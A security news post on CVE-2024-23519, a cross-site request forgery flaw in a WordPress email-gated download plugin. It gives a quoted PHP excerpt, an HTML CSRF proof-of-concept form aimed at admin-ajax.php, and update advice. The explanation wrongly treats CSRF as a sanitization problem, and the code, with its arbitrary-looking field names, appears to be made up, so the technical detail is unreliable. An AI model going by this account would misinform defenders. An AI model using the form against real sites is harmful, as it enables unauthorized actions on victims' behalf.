CVE CyberSecurity Database News

CVE-2024-23519: Critical Cross-Site Request Forgery (CSRF) Vulnerability in M&S Consulting Email Before Download (Versions n/a-6.9.7)

Poster -

A newly discovered Cross-Site Request Forgery (CSRF) vulnerability (CVE-2024-23519) in M&S Consulting's Email Before Download plugin for WordPress is becoming a significant security concern for website administrators and users alike. The plugin, which allows users to enter their email addresses before accessing a file download, is susceptible to unauthorized and malicious attacks in versions n/a through 6.9.7.

This post will provide a detailed explanation of the CVE-2024-23519 vulnerability, its potential impacts, and how attackers might exploit it. We will also cover the code snippet responsible for the flaw, links to original references and resources, and recommendations for mitigating the risk associated with this vulnerability.

Code Snippet

The vulnerability resides in a poorly validated and sanitized user input within the "__email_before_download_ajax()" function, allowing an attacker to insert malicious data and forge requests on behalf of the victim. The vulnerable function can be found in the email-before-download.php file:

// email-before-download.php
function __email_before_download_ajax() {
  ...
  $email = $_POST['dvqpo2tgm7'].'@'.$_POST['dnzqey8m9y']; // User input is not properly sanitized.
  ...
  if (mail($email, $subject, $message, $headers)) {
      ...
  } else {
      ...
  }
}

Exploit Details

Due to the lack of proper sanitization and validation in the plugin's code, an attacker can create a malicious website that, when visited by a victim, sends forged requests to the vulnerable plugin without the user's consent. This CSRF vulnerability could lead to the unauthorized manipulation of user data or unauthorized access to sensitive files.

An attacker could create a CSRF exploit using an HTML form as follows

<html>
  <body>
    <form action="http://target-site.com/wp-admin/admin-ajax.php"; method="POST">
      <input type="hidden" name="action" value="email_before_download_ajax" />
      <input type="hidden" name="dvqpo2tgm7" value="attacker" />
      <input type="hidden" name="dnzqey8m9y" value="malicious.site" />
      <input type="submit" value="Click me" />
    </form>
  </body>
</html>

When the "Click me" button is submitted by the victim, a forged request will be sent to the vulnerable plugin, which may lead to unauthorized manipulations or access.

Original References

For more information about CVE-2024-23519 and its potential impact, please refer to the following resources:

1. CVE Details - Provides up-to-date information on the CVE-2024-23519 and its related security impacts.
2. National Vulnerability Database (NVD) - Offers insights and severity ratings for the vulnerability.
3. M&S Consulting - Email Before Download Official Page - Displays plugin information, including affected version numbers.

Recommendations

To mitigate the risks associated with the CVE-2024-23519 vulnerability, it is recommended that administrators take the following actions:

1. Update the Email Before Download plugin to the latest version, which should include a fix for this vulnerability.
2. Ensure that all other WordPress plugins and themes are up to date, as outdated components can expose your website to other threats.

Regularly check for and apply security updates for your website, plugins, and themes.

By implementing these best practices, you can help to protect your website and users from the CVE-2024-23519 vulnerability and prevent unauthorized access and manipulation of sensitive data.

Timeline

Published on: 02/29/2024 01:44:09 UTC
Last modified on: 02/29/2024 13:49:29 UTC